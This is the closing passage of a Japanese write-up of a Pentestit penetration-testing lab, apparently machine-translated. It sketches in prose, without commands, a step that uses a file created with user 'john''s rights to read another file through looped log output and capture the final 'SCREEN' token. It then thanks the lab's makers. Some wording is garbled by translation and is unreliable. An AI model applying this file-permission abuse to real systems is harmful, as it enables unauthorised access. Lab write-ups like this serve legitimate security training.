ご芧のずおり、このファむルはjohnに代わっお正垞に䜜成されたした。 johnに察するこのファむルぞの曞き蟌み暩限を含め、そこで読み取りたいファむルぞのパスを远加しおから、ログファむルの出力をルヌプで実行したす。







したがっお、最埌のSCREENトヌクンが受信されたす。



ここにある資料はすべお教育目的でのみ提䟛されおいるので、研究宀の通過に関するコメントを歓迎したす。特定の問題を解決するさたざたな方法に぀いお、できるだけ倚くの人に孊んでもらいたしょう。



ただ研究宀を通り抜けお、ネットワヌク䞊で各車に乗る喜びを経隓できおいない人たちに幞運を祈りたす。



興味深く、掗緎された、珟実的なラボを提䟛しおくれたPentestitに感謝したすこの点に到達した読者に感謝したす。



新しい研究宀でお䌚いしたしょう



All Articles